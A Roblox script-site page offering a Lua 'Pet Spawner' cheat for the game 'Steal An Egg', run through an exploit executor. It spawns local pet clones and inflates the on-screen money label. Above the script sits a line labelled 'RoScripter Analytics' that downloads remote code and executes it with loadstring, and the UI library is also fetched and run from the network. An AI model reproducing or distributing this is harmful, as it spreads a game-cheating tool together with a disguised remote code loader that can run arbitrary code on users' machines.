Advertisements
Quick Actions
Description
Steal An Egg Script for Roblox featuring a Pet Spawner designed to simplify pet spawning and testing. The script is open source and was cleaned to remove unsafe elements from the original version, making the available functionality easier to review and reuse. The Pet Spawner provides a convenient way to spawn pets within Steal An Egg without relying entirely on the normal manual process. This can be useful for testing different pets, experimenting with the game’s mechanics, and exploring available pet-related features.
Advertisements
Features
- pet spawner
- auto spawn pets
- pet selection
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/mgDtHkKg?v=1"))()end);--=== Does not affect the script ===----[[
VALT :: Pet Spawner
Clean recode of the decompiled script.
Cosmetic group gate removed entirely.
]]
--=====================================================================
-- Services
--=====================================================================
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local Workspace = game:GetService("Workspace")
local Debris = game:GetService("Debris")
local LocalPlayer = Players.LocalPlayer
local Camera = Workspace.CurrentCamera
--=====================================================================
-- Kill previous instance
--=====================================================================
if getgenv().__VALT_SPAWNER then
pcall(getgenv().__VALT_SPAWNER.unload)
end
--=====================================================================
-- Config
--=====================================================================
local CONFIG = {
MAX_SPAWNS = 40,
SPAWN_DISTANCE = 12,
SCALE_MULT = 1,
SPIN = true,
FLOAT = false,
OWN_PLOT_ONLY = true,
GROUND = true,
ANIMATE = true,
NAMETAG = true,
ANCHORED = true,
GRID_COLUMNS = (UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled) and 2 or 3,
GIVE_TOOL = true,
HAND_MAX_STUDS = 4,
MONEY_POPUP = true,
PAY_INTERVAL = 1,
CASH_VISUAL = true,
}
--=====================================================================
-- State
--=====================================================================
local running = true
local connections = {}
local activeSpawns = {}
local activeTools = {}
local pets = {}
local rarityList = { "All" }
local rarityRank = {}
local selectedPet = nil
local filter = { text = "", rarity = "All" }
local UI = {
window = nil,
gridTab = nil,
rows = {},
viewport = nil,
counter = nil,
previewInfo = nil,
}
--=====================================================================
-- Utility
--=====================================================================
local function track(conn)
connections[#connections + 1] = conn
return conn
end
local function abbreviateNumber(n)
n = tonumber(n) or 0
local units = {
{ 1e12, "T" },
{ 1e9, "B" },
{ 1e6, "M" },
{ 1e3, "K" },
}
for _, unit in ipairs(units) do
if n >= unit[1] then
return string.format("%.2f", n / unit[1]):gsub("%.?0+$", "") .. unit[2]
end
end
return tostring(math.floor(n))
end
local function getCharacterRoot()
local char = LocalPlayer.Character
if not char then return nil end
return char:FindFirstChild("HumanoidRootPart") or char.PrimaryPart
end
--=====================================================================
-- Parse assets
--=====================================================================
local Directory = require(ReplicatedStorage.Data.Assets).Directory
for key, entry in pairs(Directory) do
local rarityInfo = entry.Rarity or {}
local rarityName = tostring(rarityInfo._id or rarityInfo.DisplayName or "Unknown")
local pet = {
id = key,
name = tostring(entry.DisplayName or key),
icon = tostring(entry.Icon or ""),
eggIcon = entry.Egg and tostring(entry.Egg.Icon or "") or "",
rarity = rarityName,
rank = tonumber(rarityInfo.RarityNumber) or 0,
color = typeof(rarityInfo.Color) == "Color3" and rarityInfo.Color or Color3.fromRGB(200, 200, 200),
rate = tonumber(entry.EarningRate) or 0,
scale = tonumber(entry.BaseModelScale) or 1,
idle = entry.Animations and entry.Animations.Idle or nil,
}
pets[#pets + 1] = pet
if rarityRank[rarityName] == nil then
rarityRank[rarityName] = pet.rank
rarityList[#rarityList + 1] = rarityName
end
end
table.sort(pets, function(a, b)
if a.rank ~= b.rank then return a.rank > b.rank end
return a.name < b.name
end)
table.sort(rarityList, function(a, b)
if a == "All" then return true end
if b == "All" then return false end
return (rarityRank[a] or 0) > (rarityRank[b] or 0)
end)
--=====================================================================
-- World helpers
--=====================================================================
local function getSpawnFolder()
local folder = Workspace:FindFirstChild("__ValtSpawns")
if not folder then
folder = Instance.new("Folder")
folder.Name = "__ValtSpawns"
folder.Parent = Workspace
end
return folder
end
local function getOwnPlot()
local plots = Workspace:FindFirstChild("Plots")
if not plots then return nil end
local myName = LocalPlayer.Name
for _, plot in ipairs(plots:GetChildren()) do
local sign = plot:FindFirstChild("PlotSign")
if sign then
for _, d in ipairs(sign:GetDescendants()) do
if d:IsA("TextLabel") and d.Text == myName then
return plot
end
end
end
end
return nil
end
local function getPlotSpawnPosition(index)
local plot = getOwnPlot()
if not plot then return nil end
local center = plot:FindFirstChild("CenterPoint") or plot:FindFirstChild("SpawnPoint")
if not center then return nil end
local i = index or 0
local angle = (i % 10) * (math.pi * 0.2)
local radius = math.floor(i / 10) * 3.5 + 5
return center.Position + Vector3.new(math.cos(angle) * radius, 0, math.sin(angle) * radius)
end
local function resolveGroundPosition(pos, model)
if not CONFIG.GROUND then
return pos + Vector3.new(0, model:GetExtentsSize().Y * 0.5, 0)
end
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Exclude
params.FilterDescendantsInstances = { model, LocalPlayer.Character, getSpawnFolder() }
params.IgnoreWater = true
local result = Workspace:Raycast(pos + Vector3.new(0, 40, 0), Vector3.new(0, -300, 0), params)
local y = result and result.Position.Y or pos.Y
return Vector3.new(pos.X, y + model:GetExtentsSize().Y * 0.5, pos.Z)
end
--=====================================================================
-- Visual setup
--=====================================================================
local function attachNametag(model, pet)
local primary = model.PrimaryPart
if not primary then return end
local billboard = Instance.new("BillboardGui")
billboard.Name = "ValtTag"
billboard.Size = UDim2.fromOffset(220, 72)
billboard.StudsOffsetWorldSpace = Vector3.new(0, model:GetExtentsSize().Y * 0.65 + 2, 0)
billboard.AlwaysOnTop = true
billboard.MaxDistance = 400
billboard.Parent = primary
if pet.icon ~= "" then
local img = Instance.new("ImageLabel")
img.BackgroundTransparency = 1
img.AnchorPoint = Vector2.new(0.5, 0)
img.Position = UDim2.new(0.5, 0, 0, 0)
img.Size = UDim2.fromOffset(34, 34)
img.Image = pet.icon
img.ScaleType = Enum.ScaleType.Fit
img.Parent = billboard
end
local title = Instance.new("TextLabel")
title.BackgroundTransparency = 1
title.Position = UDim2.new(0, 0, 0, 34)
title.Size = UDim2.new(1, 0, 0, 22)
title.Font = Enum.Font.GothamBold
title.TextScaled = true
title.TextColor3 = Color3.new(1, 1, 1)
title.TextStrokeTransparency = 0.4
title.Text = pet.name
title.Parent = billboard
local sub = Instance.new("TextLabel")
sub.BackgroundTransparency = 1
sub.Position = UDim2.new(0, 0, 0, 56)
sub.Size = UDim2.new(1, 0, 0, 16)
sub.Font = Enum.Font.GothamMedium
sub.TextScaled = true
sub.TextColor3 = pet.color
sub.TextStrokeTransparency = 0.5
sub.Text = string.format("%s | $%s/s", pet.rarity, abbreviateNumber(pet.rate))
sub.Parent = billboard
end
local function setupModel(model, pet)
local scale = CONFIG.SCALE_MULT * (pet.scale or 1)
if math.abs(scale - 1) > 0.001 then
pcall(function() model:ScaleTo(scale) end)
end
local hasJoints = false
for _, d in ipairs(model:GetDescendants()) do
if d:IsA("Motor6D") or d:IsA("Weld") or d:IsA("WeldConstraint") then
hasJoints = true
break
end
end
local primary = model.PrimaryPart
for _, part in ipairs(model:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
part.CanQuery = false
part.CanTouch = false
part.Massless = true
local anchored = CONFIG.ANCHORED
if anchored then
anchored = (not hasJoints) or part == primary
end
part.Anchored = anchored
end
end
if primary then
primary.Anchored = CONFIG.ANCHORED
end
return hasJoints
end
local function playIdle(model, pet)
if not (CONFIG.ANIMATE and pet.idle) then return end
local ok, err = pcall(function()
local host = model:FindFirstChildOfClass("Model") or model
local controller = host:FindFirstChildOfClass("AnimationController")
or host:FindFirstChildOfClass("Humanoid")
if not controller then
controller = Instance.new("AnimationController")
controller.Parent = host
end
local animator = controller:FindFirstChildOfClass("Animator")
if not animator then
animator = Instance.new("Animator")
animator.Parent = controller
end
local anim
if typeof(pet.idle) == "Instance" and pet.idle:IsA("Animation") then
anim = pet.idle:Clone()
else
anim = Instance.new("Animation")
anim.AnimationId = tostring(pet.idle)
end
local trackAnim = animator:LoadAnimation(anim)
trackAnim.Looped = true
trackAnim:Play()
end)
if not ok then
warn("[VALT SPAWNER] idle animation failed for " .. pet.name .. ": " .. tostring(err))
end
end
--=====================================================================
-- Spawn limit
--=====================================================================
local function enforceSpawnLimit()
while #activeSpawns > CONFIG.MAX_SPAWNS do
local record = table.remove(activeSpawns, 1)
if record and record.model then
pcall(function() record.model:Destroy() end)
end
end
end
--=====================================================================
-- Input tracking for tool placement
--=====================================================================
local lastTouchPos = nil
track(UserInputService.TouchTap:Connect(function(pos)
if pos and pos[1] then lastTouchPos = pos[1] end
end))
track(UserInputService.TouchEnded:Connect(function(part)
lastTouchPos = part.Position
end))
local function getSpawnPosition()
local isMobile = UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled
if isMobile and lastTouchPos and Camera then
local ray = Camera:ViewportPointToRay(lastTouchPos.X, lastTouchPos.Y)
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Exclude
params.FilterDescendantsInstances = { LocalPlayer.Character, Workspace:FindFirstChild("__ValtSpawns") }
local result = Workspace:Raycast(ray.Origin, ray.Direction * 600, params)
if result then return result.Position end
end
local ok, mouse = pcall(function() return LocalPlayer:GetMouse() end)
if ok and mouse and mouse.Hit and mouse.Target then
return mouse.Hit.Position
end
local root = getCharacterRoot()
if root then
return root.Position + root.CFrame.LookVector * CONFIG.SPAWN_DISTANCE
end
return nil
end
--=====================================================================
-- Spawn
--=====================================================================
local function spawnPet(pet, positionOverride)
if not running then return false, "unloaded" end
local modelsFolder = ReplicatedStorage:FindFirstChild("AssetModels")
if modelsFolder then
modelsFolder = modelsFolder:FindFirstChild(pet.id)
end
if not modelsFolder then
return false, "no model for " .. pet.id
end
local root = getCharacterRoot()
if not root then
return false, "character not loaded"
end
local clone = modelsFolder:Clone()
clone.Name = "VALT_" .. pet.id
local jointed = setupModel(clone, pet)
clone.Parent = getSpawnFolder()
local targetPos
if CONFIG.OWN_PLOT_ONLY then
targetPos = getPlotSpawnPosition(#activeSpawns)
end
if not targetPos then
if typeof(positionOverride) == "Vector3" then
targetPos = positionOverride
else
local index = #activeSpawns
local angle = (index % 12) * (math.pi / 6)
local dist = CONFIG.SPAWN_DISTANCE + math.floor(index / 12) * 6
targetPos = root.Position + Vector3.new(math.cos(angle) * dist, 0, math.sin(angle) * dist)
end
end
local finalPos = resolveGroundPosition(targetPos, clone)
local look = root.Position
pcall(function()
clone:PivotTo(CFrame.new(finalPos, Vector3.new(look.X, finalPos.Y, look.Z)))
end)
if CONFIG.NAMETAG then
pcall(attachNametag, clone, pet)
end
playIdle(clone, pet)
local now = os.clock()
activeSpawns[#activeSpawns + 1] = {
model = clone,
root = clone.PrimaryPart,
basePos = finalPos,
t0 = now,
lastPay = now,
name = pet.name,
rate = pet.rate,
tagHeight = clone:GetExtentsSize().Y * 0.65 + 4,
jointed = jointed,
}
enforceSpawnLimit()
return true
end
--=====================================================================
-- Clear spawns
--=====================================================================
local function clearSpawns()
for _, record in ipairs(activeSpawns) do
if record.model then
pcall(function() record.model:Destroy() end)
end
end
table.clear(activeSpawns)
local folder = Workspace:FindFirstChild("__ValtSpawns")
if folder then
pcall(function() folder:Destroy() end)
end
end
--=====================================================================
-- Money popup
--=====================================================================
local function moneyPopup(record)
if not record.root or not record.root.Parent then return end
local billboard = Instance.new("BillboardGui")
billboard.Name = "ValtCash"
billboard.Size = UDim2.fromOffset(150, 40)
billboard.StudsOffsetWorldSpace = Vector3.new(0, record.tagHeight, 0)
billboard.AlwaysOnTop = true
billboard.MaxDistance = 300
billboard.Adornee = record.root
billboard.Parent = record.root
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Size = UDim2.fromScale(1, 1)
label.Font = Enum.Font.LuckiestGuy
label.TextScaled = true
label.TextColor3 = Color3.fromRGB(80, 235, 105)
label.TextStrokeColor3 = Color3.fromRGB(10, 45, 15)
label.TextStrokeTransparency = 0.15
label.Text = "+$" .. abbreviateNumber(record.rate)
label.Parent = billboard
TweenService:Create(billboard,
TweenInfo.new(1.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
{ StudsOffsetWorldSpace = Vector3.new(0, record.tagHeight + 4.5, 0) }
):Play()
TweenService:Create(label,
TweenInfo.new(1.1, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
{ TextTransparency = 1, TextStrokeTransparency = 1 }
):Play()
Debris:AddItem(billboard, 1.3)
end
--=====================================================================
-- Tool giving
--=====================================================================
local function giveTool(pet)
if not running then return false, "unloaded" end
local modelsFolder = ReplicatedStorage:FindFirstChild("AssetModels")
if modelsFolder then
modelsFolder = modelsFolder:FindFirstChild(pet.id)
end
if not modelsFolder then
return false, "no model for " .. pet.id
end
local backpack = LocalPlayer:FindFirstChildOfClass("Backpack")
if not backpack then
return false, "no backpack"
end
local tool = Instance.new("Tool")
tool.Name = pet.name
tool.ToolTip = string.format("%s | $%s/s - click to place (one use)", pet.rarity, abbreviateNumber(pet.rate))
tool.CanBeDropped = false
tool.RequiresHandle = true
tool.TextureId = pet.icon
local handle = Instance.new("Part")
handle.Name = "Handle"
handle.Size = Vector3.new(1, 1, 1)
handle.Transparency = 1
handle.CanCollide = false
handle.CanQuery = false
handle.CanTouch = false
handle.Massless = true
handle.Parent = tool
local clone = modelsFolder:Clone()
clone.Name = "Pet"
local size = clone:GetExtentsSize()
local maxDim = math.max(size.X, size.Y, size.Z)
if maxDim > CONFIG.HAND_MAX_STUDS then
local factor = CONFIG.HAND_MAX_STUDS / maxDim
pcall(function() clone:ScaleTo(factor ^ 0.5) end)
end
local primary = clone.PrimaryPart or clone:FindFirstChildWhichIsA("BasePart", true)
local hasMotor = false
for _, d in ipairs(clone:GetDescendants()) do
if d:IsA("Motor6D") then
hasMotor = true
break
end
end
for _, part in ipairs(clone:GetDescendants()) do
if part:IsA("BasePart") then
part.Anchored = false
part.CanCollide = false
part.CanQuery = false
part.CanTouch = false
part.Massless = true
end
end
clone.Parent = tool
if primary then
local weld = Instance.new("Weld")
weld.Part0 = handle
weld.Part1 = primary
weld.C0 = CFrame.new(0, clone:GetExtentsSize().Y * 0.4, 0)
weld.Parent = handle
end
if not hasMotor then
for _, d in ipairs(clone:GetDescendants()) do
if d:IsA("BasePart") and d ~= primary then
local wc = Instance.new("WeldConstraint")
wc.Part0 = primary
wc.Part1 = d
wc.Parent = primary
end
end
else
playIdle(clone, pet)
end
tool.Parent = backpack
activeTools[#activeTools + 1] = tool
track(tool.Activated:Connect(function()
local pos = getSpawnPosition()
local ok, err = spawnPet(pet, pos)
if not ok then
warn("[VALT SPAWNER] place failed: " .. tostring(err))
return
end
for i = #activeTools, 1, -1 do
if activeTools[i] == tool then
table.remove(activeTools, i)
end
end
pcall(function() tool:Destroy() end)
end))
return true
end
local function clearTools()
for _, tool in ipairs(activeTools) do
pcall(function() tool:Destroy() end)
end
table.clear(activeTools)
end
--=====================================================================
-- Cash visual (fake local counter)
--=====================================================================
local cashVisual = {
label = nil,
base = 0,
bonus = 0,
shown = 0,
ours = nil,
conn = nil,
}
local MULTIPLIERS = { K = 1e3, M = 1e6, B = 1e9, T = 1e12 }
local function parseMoney(text)
local numStr, suffix = tostring(text):gsub("[%$,%s]", ""):match("^([%d%.]+)(%a*)$")
if not numStr then return nil end
local mult = suffix ~= "" and MULTIPLIERS[suffix:upper()] or 1
if not mult then return nil end
return (tonumber(numStr) or 0) * mult
end
local function formatMoney(n)
local units = {
{ 1e12, "T" },
{ 1e9, "B" },
{ 1e6, "M" },
{ 1e3, "K" },
}
for _, u in ipairs(units) do
if n >= u[1] then
local val = n / u[1]
local fmt = val >= 100 and "%.0f" or "%.1f"
return "$" .. string.format(fmt, val):gsub("%.0$", "") .. u[2]
end
end
return "$" .. string.format("%.0f", n)
end
local function findMoneyLabel()
local playerGui = LocalPlayer:FindFirstChildOfClass("PlayerGui")
if not playerGui then return nil end
local hud = playerGui:FindFirstChild("HUD")
for _, name in ipairs({ "GameHUD", "BottomLeft", "Money", "Value" }) do
hud = hud and hud:FindFirstChild(name)
end
if hud and hud:IsA("TextLabel") then
return hud
end
for _, obj in ipairs(playerGui:GetDescendants()) do
if obj:IsA("TextLabel") and obj.Text:match("^%$%d") and obj.AbsoluteSize.X > 40 then
local parent = obj
while parent do
if parent:IsA("ScreenGui") then
if parent.Enabled then return obj end
break
end
parent = parent.Parent
end
end
end
return nil
end
local function hookCashLabel()
local label = findMoneyLabel()
if not label then return false end
if label == cashVisual.label then return true end
if cashVisual.conn then
pcall(function() cashVisual.conn:Disconnect() end)
end
cashVisual.label = label
cashVisual.base = parseMoney(label.Text) or 0
cashVisual.shown = cashVisual.base + cashVisual.bonus
cashVisual.conn = track(label:GetPropertyChangedSignal("Text"):Connect(function()
if label.Text ~= cashVisual.ours then
cashVisual.base = parseMoney(label.Text) or cashVisual.base
end
end))
return true
end
local function releaseCashLabel()
if cashVisual.conn then
pcall(function() cashVisual.conn:Disconnect() end)
end
if cashVisual.label and cashVisual.label.Parent then
pcall(function()
cashVisual.label.Text = formatMoney(cashVisual.base)
end)
end
cashVisual.label = nil
cashVisual.conn = nil
cashVisual.bonus = 0
cashVisual.ours = nil
end
--=====================================================================
-- Heartbeat loop
--=====================================================================
track(RunService.Heartbeat:Connect(function(dt)
if not running then return end
local now = os.clock()
-- Cash visual
if CONFIG.CASH_VISUAL then
if not (cashVisual.label and cashVisual.label.Parent) then
hookCashLabel()
end
if cashVisual.label and cashVisual.bonus > 0 then
local target = cashVisual.base + cashVisual.bonus
cashVisual.shown = cashVisual.shown + (target - cashVisual.shown) * math.min(1, (dt or 0.016) * 6)
if math.abs(target - cashVisual.shown) < 1 then
cashVisual.shown = target
end
cashVisual.ours = formatMoney(cashVisual.shown)
cashVisual.label.Text = cashVisual.ours
end
end
-- Spin/float + payout
for i = #activeSpawns, 1, -1 do
local record = activeSpawns[i]
if not record.model or not record.model.Parent then
table.remove(activeSpawns, i)
else
local shouldRotate = CONFIG.SPIN or CONFIG.FLOAT
if shouldRotate and record.root and record.root.Anchored then
local t = now - record.t0
local yOff = CONFIG.FLOAT and math.sin(t * 1.6) * 0.6 or 0
local yaw = CONFIG.SPIN and t * 1.1 or 0
record.root.CFrame = CFrame.new(record.basePos + Vector3.new(0, yOff, 0)) * CFrame.Angles(0, yaw, 0)
end
if now - record.lastPay >= CONFIG.PAY_INTERVAL then
record.lastPay = now
if CONFIG.MONEY_POPUP then
moneyPopup(record)
end
if CONFIG.CASH_VISUAL then
cashVisual.bonus = cashVisual.bonus + record.rate * CONFIG.PAY_INTERVAL
end
end
end
end
end))
--=====================================================================
-- Unload
--=====================================================================
local function unload()
running = false
for _, conn in ipairs(connections) do
pcall(function() conn:Disconnect() end)
end
table.clear(connections)
clearSpawns()
clearTools()
releaseCashLabel()
if UI.window then
pcall(function() UI.window:Destroy() end)
end
getgenv().__VALT_SPAWNER = nil
warn("[VALT SPAWNER] unloaded")
end
--=====================================================================
-- Build UI
--=====================================================================
local function buildUI()
local ok, WindUI = pcall(function()
return loadstring(game:HttpGet("https://github.com/Footagesus/WindUI/releases/latest/download/main.lua"))()
end)
if not ok or not WindUI then
warn("[VALT SPAWNER] WindUI failed to load: " .. tostring(WindUI))
return
end
local vp = Camera and Camera.ViewportSize or Vector2.new(1280, 720)
local size
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
size = UDim2.fromOffset(
math.clamp(math.floor(vp.X * 0.92), 300, 560),
math.clamp(math.floor(vp.Y * 0.82), 260, 420)
)
else
size = UDim2.fromOffset(620, 480)
end
local window = WindUI:CreateWindow({
Title = "VALT :: Pet Spawner",
Icon = "egg",
Author = "Steal An Egg | " .. #pets .. " assets",
Folder = "Valt Spawner",
Size = size,
Transparent = true,
Theme = "Dark",
SideBarWidth = 165,
HideSearchBar = false,
OpenButton = { Enabled = false },
})
UI.window = window
if getgenv().__VALT_SPAWNER then
getgenv().__VALT_SPAWNER.window = window
end
local petsTab = window:Tab({ Title = "Pets", Icon = "paw-print" })
local previewTab = window:Tab({ Title = "Preview", Icon = "eye" })
local optionsTab = window:Tab({ Title = "Options", Icon = "settings" })
UI.gridTab = petsTab
petsTab:Input({
Title = "Search",
Placeholder = "pet name...",
Callback = function(text)
filter.text = string.lower(tostring(text or ""))
UI.rebuild()
end,
})
petsTab:Dropdown({
Title = "Rarity",
Values = rarityList,
Value = "All",
Callback = function(value)
filter.rarity = tostring(value)
UI.rebuild()
end,
})
UI.counter = petsTab:Paragraph({
Title = "Loaded",
Desc = #pets .. " assets ready - click a card to spawn",
})
petsTab:Divider()
local function clearRows()
for _, row in ipairs(UI.rows) do
local frame = row.ElementFrame
if typeof(frame) == "Instance" then
pcall(function() frame:Destroy() end)
end
end
table.clear(UI.rows)
end
local rebuildId = 0
function UI.rebuild()
rebuildId += 1
local thisId = rebuildId
clearRows()
local filtered = {}
for _, pet in ipairs(pets) do
local nameMatch = filter.text == "" or string.find(string.lower(pet.name), filter.text, 1, true) ~= nil
local rarityMatch = filter.rarity == "All" or pet.rarity == filter.rarity
if nameMatch and rarityMatch then
filtered[#filtered + 1] = pet
end
end
if UI.counter then
pcall(function()
UI.counter:SetDesc(#filtered .. " of " .. #pets .. " assets shown - click a card to spawn")
end)
end
task.spawn(function()
local row
local col = 0
for i, pet in ipairs(filtered) do
if thisId ~= rebuildId or not running then return end
if col == 0 then
row = petsTab:HStack({})
UI.rows[#UI.rows + 1] = row
end
local btn = row:Button({
Title = pet.name,
Desc = string.format("%s | $%s/s", pet.rarity, abbreviateNumber(pet.rate)),
Callback = function()
selectedPet = pet
if CONFIG.GIVE_TOOL then
local success, err = giveTool(pet)
WindUI:Notify({
Title = success and (pet.name .. " -> backpack") or "tool failed",
Content = success and "equip it, then click to place the pet" or tostring(err),
Duration = success and 2 or 4,
Icon = success and "backpack" or "circle-alert",
})
return
end
local success, err = spawnPet(pet)
WindUI:Notify({
Title = success and (pet.name .. " spawned") or "spawn failed",
Content = success
and (pet.rarity .. " | " .. #activeSpawns .. "/" .. CONFIG.MAX_SPAWNS .. " active")
or tostring(err),
Duration = success and 2 or 4,
Icon = success and "sparkles" or "circle-alert",
})
end,
})
if pet.icon ~= "" then
pcall(function() btn:SetThumbnail(pet.icon) end)
end
col += 1
if col >= CONFIG.GRID_COLUMNS then
col = 0
if i % (CONFIG.GRID_COLUMNS * 4) == 0 then
task.wait()
end
end
end
end)
end
--=================================================================
-- Preview tab
--=================================================================
previewTab:Section({ Title = "Model viewer" })
local petNames = {}
for _, pet in ipairs(pets) do
petNames[#petNames + 1] = pet.name
end
local function previewPet(name)
local pet
for _, p in ipairs(pets) do
if p.name == name then pet = p break end
end
if not pet then return end
selectedPet = pet
local modelsFolder = ReplicatedStorage:FindFirstChild("AssetModels")
if modelsFolder then modelsFolder = modelsFolder:FindFirstChild(pet.id) end
if not modelsFolder then
WindUI:Notify({
Title = "no model",
Content = pet.id,
Duration = 3,
Icon = "circle-alert",
})
return
end
if UI.viewport then
pcall(function()
UI.viewport:SetObject({ modelsFolder:Clone() })
end)
end
if UI.previewInfo then
pcall(function()
UI.previewInfo:SetTitle(pet.name)
UI.previewInfo:SetDesc(string.format(
"Rarity: %s | Earns: $%s/s | Base scale: %.2f",
pet.rarity, abbreviateNumber(pet.rate), pet.scale
))
if pet.icon ~= "" then
UI.previewInfo:SetImage(pet.icon)
end
end)
end
end
previewTab:Dropdown({
Title = "Pet",
Values = petNames,
Value = petNames[1],
Callback = previewPet,
})
UI.previewInfo = previewTab:Paragraph({
Title = "-",
Desc = "pick a pet",
Image = "",
ImageSize = 48,
})
local previewSource = ReplicatedStorage:FindFirstChild("AssetModels")
if previewSource and pets[1] then
previewSource = previewSource:FindFirstChild(pets[1].id)
else
previewSource = nil
end
UI.viewport = previewTab:Viewport({
Title = "Model",
Object = previewSource and previewSource:Clone() or Instance.new("Model"),
Height = 220,
Interactive = true,
})
previewTab:Button({
Title = "Take into backpack",
Desc = "hands you the previewed pet as a tool",
Callback = function()
if not selectedPet then return end
local success, err = giveTool(selectedPet)
WindUI:Notify({
Title = success and (selectedPet.name .. " -> backpack") or "tool failed",
Content = success and "equip it, then click to place the pet" or tostring(err),
Duration = 3,
Icon = success and "backpack" or "circle-alert",
})
end,
})
previewTab:Button({
Title = "Spawn this one",
Desc = "drops the previewed pet in front of you",
Callback = function()
if not selectedPet then return end
local success, err = spawnPet(selectedPet)
WindUI:Notify({
Title = success and (selectedPet.name .. " spawned") or "spawn failed",
Content = success
and (#activeSpawns .. "/" .. CONFIG.MAX_SPAWNS .. " active")
or tostring(err),
Duration = 3,
Icon = success and "sparkles" or "circle-alert",
})
end,
})
--=================================================================
-- Options tab
--=================================================================
optionsTab:Section({ Title = "Spawn behaviour" })
optionsTab:Toggle({
Title = "Give as backpack tool",
Desc = "on = card click hands you the pet, click again in-world to place it",
Value = CONFIG.GIVE_TOOL,
Callback = function(v) CONFIG.GIVE_TOOL = v end,
})
optionsTab:Slider({
Title = "Held pet size (studs)",
Step = 1,
Value = { Min = 2, Max = 14, Default = CONFIG.HAND_MAX_STUDS },
Callback = function(v) CONFIG.HAND_MAX_STUDS = tonumber(v) or 4 end,
})
optionsTab:Slider({
Title = "Scale multiplier",
Step = 0.1,
Value = { Min = 0.2, Max = 8, Default = CONFIG.SCALE_MULT },
Callback = function(v) CONFIG.SCALE_MULT = tonumber(v) or 1 end,
})
optionsTab:Slider({
Title = "Spawn distance",
Step = 1,
Value = { Min = 4, Max = 60, Default = CONFIG.SPAWN_DISTANCE },
Callback = function(v) CONFIG.SPAWN_DISTANCE = tonumber(v) or 12 end,
})
optionsTab:Slider({
Title = "Max active spawns",
Step = 1,
Value = { Min = 1, Max = 120, Default = CONFIG.MAX_SPAWNS },
Callback = function(v)
CONFIG.MAX_SPAWNS = math.floor(tonumber(v) or 40)
enforceSpawnLimit()
end,
})
optionsTab:Toggle({
Title = "Spin",
Value = CONFIG.SPIN,
Callback = function(v) CONFIG.SPIN = v end,
})
optionsTab:Toggle({
Title = "Float",
Value = CONFIG.FLOAT,
Callback = function(v) CONFIG.FLOAT = v end,
})
optionsTab:Toggle({
Title = "Place in my plot only",
Value = CONFIG.OWN_PLOT_ONLY,
Callback = function(v) CONFIG.OWN_PLOT_ONLY = v end,
})
optionsTab:Toggle({
Title = "Sit on the ground",
Value = CONFIG.GROUND,
Callback = function(v) CONFIG.GROUND = v end,
})
optionsTab:Toggle({
Title = "Play idle animation",
Value = CONFIG.ANIMATE,
Callback = function(v) CONFIG.ANIMATE = v end,
})
optionsTab:Toggle({
Title = "Name tags",
Value = CONFIG.NAMETAG,
Callback = function(v) CONFIG.NAMETAG = v end,
})
optionsTab:Toggle({
Title = "Count it on my cash",
Desc = "your own money label rises with the popups - visual only, the server never sees it",
Value = CONFIG.CASH_VISUAL,
Callback = function(v)
CONFIG.CASH_VISUAL = v
if not v then releaseCashLabel() end
end,
})
optionsTab:Toggle({
Title = "Money popups",
Desc = "green +$X off every spawn, same as the game's own pets",
Value = CONFIG.MONEY_POPUP,
Callback = function(v) CONFIG.MONEY_POPUP = v end,
})
optionsTab:Slider({
Title = "Payout interval (s)",
Step = 0.5,
Value = { Min = 0.5, Max = 10, Default = CONFIG.PAY_INTERVAL },
Callback = function(v) CONFIG.PAY_INTERVAL = tonumber(v) or 1 end,
})
optionsTab:Toggle({
Title = "Anchored",
Desc = "off = the rig falls on its own joints",
Value = CONFIG.ANCHORED,
Callback = function(v) CONFIG.ANCHORED = v end,
})
optionsTab:Divider()
optionsTab:Section({ Title = "Bulk" })
optionsTab:Button({
Title = "Spawn random",
Callback = function()
local pet = pets[math.random(1, #pets)]
spawnPet(pet)
WindUI:Notify({
Title = pet.name,
Content = "random spawn",
Duration = 2,
Icon = "dices",
})
end,
})
optionsTab:Button({
Title = "Spawn every pet of the selected rarity",
Desc = "uses the rarity filter from the Pets tab",
Callback = function()
task.spawn(function()
local count = 0
for _, pet in ipairs(pets) do
local match = filter.rarity == "All" or pet.rarity == filter.rarity
if match then
if spawnPet(pet) then count += 1 end
task.wait(0.05)
end
end
WindUI:Notify({
Title = "bulk spawn",
Content = count .. " spawned",
Duration = 3,
Icon = "sparkles",
})
end)
end,
})
optionsTab:Button({
Title = "Clear all spawns",
Callback = function()
local count = #activeSpawns
clearSpawns()
WindUI:Notify({
Title = "cleared",
Content = count .. " removed",
Duration = 2,
Icon = "trash-2",
})
end,
})
optionsTab:Button({
Title = "Empty the backpack",
Desc = "removes every pet tool this script handed you",
Callback = function()
local count = #activeTools
clearTools()
WindUI:Notify({
Title = "backpack cleared",
Content = count .. " tools removed",
Duration = 2,
Icon = "backpack",
})
end,
})
optionsTab:Divider()
optionsTab:Button({
Title = "Unload (End)",
Desc = "kills every spawn, the hub and all connections",
Callback = function()
getgenv().__VALT_SPAWNER.unload()
end,
})
UI.rebuild()
if petNames[1] then previewPet(petNames[1]) end
pcall(function() window:SelectTab(petsTab.Index) end)
return window
end
--=====================================================================
-- Global API + End keybind
--=====================================================================
getgenv().__VALT_SPAWNER = {
unload = unload,
CONFIG = CONFIG,
PETS = pets,
spawn = spawnPet,
give = giveTool,
tools = activeTools,
clear = clearSpawns,
}
track(UserInputService.InputBegan:Connect(function(input, processed)
if processed then return end
if input.KeyCode == Enum.KeyCode.End then
unload()
end
end))
--=====================================================================
-- Boot
--=====================================================================
buildUI()
warn("[VALT SPAWNER] loaded - " .. #pets .. " assets indexed. Unload: End.")Quick Actions
Similar Scripts
Steal An Egg Script - Auto Steal Eggs, Auto Farm, Egg ESP, Auto Hatch 2026
33326 days ago
[Foxname Hub] Steal An Egg Script 2026 – Auto Steal, Godmode, Auto Hatch
313about 1 month ago
